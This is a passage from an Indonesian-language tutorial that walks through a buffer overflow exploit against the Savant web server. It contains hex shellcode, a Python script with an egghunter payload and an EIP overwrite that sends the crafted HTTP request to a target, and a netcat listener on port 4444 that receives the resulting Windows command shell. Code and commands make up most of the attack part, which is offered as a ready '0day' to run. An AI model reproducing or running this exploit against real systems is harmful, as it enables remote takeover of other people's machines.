"\xa5\x85\x6d\x6d\x92\xb1\x15\x06\x6a\xf4\x47\xab\xfd\x8e\x71"
"\xb1\xb9\xd8\x56\x9a\x3a\xc8\x13\x73\xc7\xac\xae\x62\xeb\xf8"
"\x35\x2f\x20\xa0\x8a\xe2\xa4\x1d\x65\x01\x18\x30\xca\x7a\x17"
"\x5b\xfa\x55\xb7\x9d\xf2\xee\x59\x21\x7f\x78\x72\x9e\x11\xa0"
"\xdc\xb9\x76\x29\x41\x84\x96\x22\x41\x71\x86\x42\x37\x1a\xcb"
"\x58\xd9\x21\x25\x85\x86\x6c\x7a\x70\xb3\x8c\xbb\x60\xae\xbe"
"\x10\x4d\x36\x35\xf0\xdd\x5e\x4a\x79\x03\xb9\x99\x81\x96\xe2"
"\xc6\xeb\x87\x2d\x97\x17\x94\x34\x0d\x31\x14\x33\xf8\x98\x09"
"\x42\x09\xb8\x03\xf1\x7b\x2f\x23\xb0\xf2\xdd\x7e\x8c\x49\x48"
"\x03\xac\x5a\xeb\xb8\xd1\x9e\x78\x91\x4a\x8b\x2c\x13\x8c\x07"
"\xaf\x70\x3d\x3f\x4b\xf7\x54\x46\x1e\x23\x4e\x6c\xb0\x41\x7c"
"\x0b\x90\x84\x9e\x7e\xf5\xa7\x74\x63\xf8\x33\x12\xd5\xb5\xa5"
"\xb4\xce\xe5\xab\xd9\x13\x11\x8d\xda\x30\xb2\x8e\xc8\x85\x72"
"\x4f\x2e\x80\xc1\x74\xb8\x0a\xcc\xdd\xda\x0f\x97\xdd\xbc\xa8"
"\xb8\x52\x80\x59\x97\xda\x2a\xb3\x0e\x32\x02\x5a\x54\xb3\xc6"
"\xd3\xe6\xd9\x1c\x9e\xb8\x54\x81\x7b\xbb\x20\x79\x26\x62\x00"
"\xc7\x57\xb1\xdf\x48\xb8\xd6\xc4\xde\xeb\x3d\xc7\xee\x8c\x49"
"\xa7\x39\xc4\xf4\x88\x4f\x31\x13\xd0\x31\xec\x9f\x14\x84\x89"
"\xa1\x2d")
badbuffer = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # egghunter searching for R0cX
badbuffer += "\x90" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Jalankan savant kembali kali ini tidak masalah untuk menjalankan savant tanpa OllyDbg.
Kemudian buka terminal, lalu masukan perintah:
Code:
root@revolution:~# nc -l 4444
embali ke Windows. Untuk sedikit pembuktian, saya akan menunjukan beberapa hal yang terjadi ketika kita mengirimkan ShellCode ini. Saya membuka Command Prompt, dan memasukan perintah ipconfig. Kemudian saya membuka Savant, dan Task Manager.
Kita eksekusi script 0day kita dengan memasukan perintah:
Code:
root@revolution:~# python 0day.py
Kita kembali ke windows, dan lihat apa yang terjadi.
Lihat disini
Lihatlah bagaimana Windows Menjerit kesakitan =D
Kembali ke netcat kita.
Lihat Disini
Sempurna. Kita mendapatkan Command Prompt Windows.
Code:
source : http://www.root-bt.co.cc/2011/12/from-bug-to-0day-egghunter-vs-savant.html
Every Second, Every Minutes, Every Hours, Every Days Its Never End